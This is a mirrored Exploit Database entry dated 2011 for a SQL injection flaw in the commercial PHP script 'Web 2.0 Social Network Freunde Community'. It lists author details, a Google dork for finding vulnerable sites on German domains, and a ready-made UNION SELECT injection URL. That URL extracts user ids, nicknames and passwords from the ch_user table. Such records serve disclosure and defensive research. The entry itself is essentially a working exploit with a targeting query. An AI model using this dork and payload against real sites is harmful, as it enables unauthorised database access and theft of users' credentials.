Web 2.0 Social Network Freunde Community – SQL Injection

• Exploit Database
• 29 阅读

• 作者： NoNameMT
  日期： 2011-02-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16140/

• # Exploit Title: Web 2.0 Social Network Freunde Community SQL Injection
  Vunerability
  # Google Dork: inurl:"user.php?userId=" +site:de
  # Date: 08.02.2011
  # Author: NoNameMT
  # Software Link:
  http://www.scripteverkauf.com/products/de/neuheiten/web-20-social-network-freunde-community.html
  # Version: -
  # Price: 79,50 €
  # Tested on: Windows 7 Ultimate
  # Mail: nonamemt@gmail.com
  # Homepage: http://nonamemt.us
  
  # Exploit:
  http://localhost/user.php?userId=-496'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x203a20,id,nickname,password),11,12,13,14+from+ch_user--+
  
  # Greetings:
  J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42